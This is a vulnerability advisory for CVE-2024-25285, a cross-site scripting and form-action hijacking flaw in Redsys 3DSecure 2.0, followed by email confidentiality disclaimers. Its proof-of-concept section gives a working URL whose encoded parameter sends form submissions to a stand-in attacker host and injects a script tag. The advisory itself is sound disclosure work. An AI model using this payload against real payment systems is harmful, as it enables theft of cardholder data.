3DSecure 2.0 3DS Method Authentication Cross Site Scripting

Product: 3DSecure 2.0Manufacturer: RedsysAffected Version(s): 3DSecure 2.0 3DS Method AuthenticationTested Version(s): 3DSecure 2.0 3DS Method AuthenticationVulnerability Type: Cross-Site Scripting (XSS)Risk Level: MediumSolution Status: Not yet fixedManufacturer Notification: 2024-01-17Solution Date: N/APublic Disclosure: 2024-09-17CVE Reference: CVE-2024-25285Overview:3DSecure 2.0 is vulnerable to form action hijacking via the threeDSMethodNotificationURL parameter. This flaw allows attackers to change the destination website for form submissions, enabling data theft.Vulnerability Details:The threeDSMethodNotificationURL parameter is vulnerable to modification, allowing attackers to redirect form submissions to malicious destinations.Proof of Concept (PoC):By modifying the threeDSMethodNotificationURL parameter in a POST request, an attacker can change the form's action URL. Example:https://sis-d.redsys.es/sis-simulador-web/threeDsMethod.jsp?threeDSMethodData=eyJ0aHJlZURTTWV0aG9kTm90aWZpY2F0aW9uVVJMIjoiaHR0cHM6Ly9hdHRhY2tlci5jb20iLCJ0aHJlZURTU2VydmVyVHJhbnNJRCI6IjM5NDA4Mzk2LTdjY2MtNGU4YS04NjU2LThmMTZlNmNlMDQ5OCJ9%3d%3dld4ga%22%3e%3cscript%3ealert(1)%3c%2fscript%3epsoojei88zeSolution:No solution is currently available. Redsys has been notified.References:OWASP Web Security Testing Guide: Form Action HijackingDiscoverer:Reported by Rubén López Herrera________________________________Este mensaje y sus adjuntos se dirigen exclusivamente a su destinatario, puede contener información privilegiada o confidencial y es para uso exclusivo de la persona o entidad de destino. Si no es usted. el destinatario indicado, queda notificado de que la lectura, utilización, divulgación y/o copia sin autorización puede estar prohibida en virtud de la legislación vigente. Si ha recibido este mensaje por error, le rogamos que nos lo comunique inmediatamente por esta misma vía y proceda a su destrucción.The information contained in this transmission is confidential and privileged information intended only for the use of the individual or entity named above. If the reader of this message is not the intended recipient, you are hereby notified that any dissemination, distribution or copying of this communication is strictly prohibited. If you have received this transmission in error, do not read it. Please immediately reply to the sender that you have received this communication in error and then delete it.Esta mensagem e seus anexos se dirigem exclusivamente ao seu destinatário, pode conter informação privilegiada ou confidencial e é para uso exclusivo da pessoa ou entidade de destino. Se não é vossa senhoria o destinatário indicado, fica notificado de que a leitura, utilização, divulgação e/ou cópia sem autorização pode estar proibida em virtude da legislação vigente. Se recebeu esta mensagem por erro, rogamos-lhe que nos o comunique imediatamente por esta mesma via e proceda a sua destruição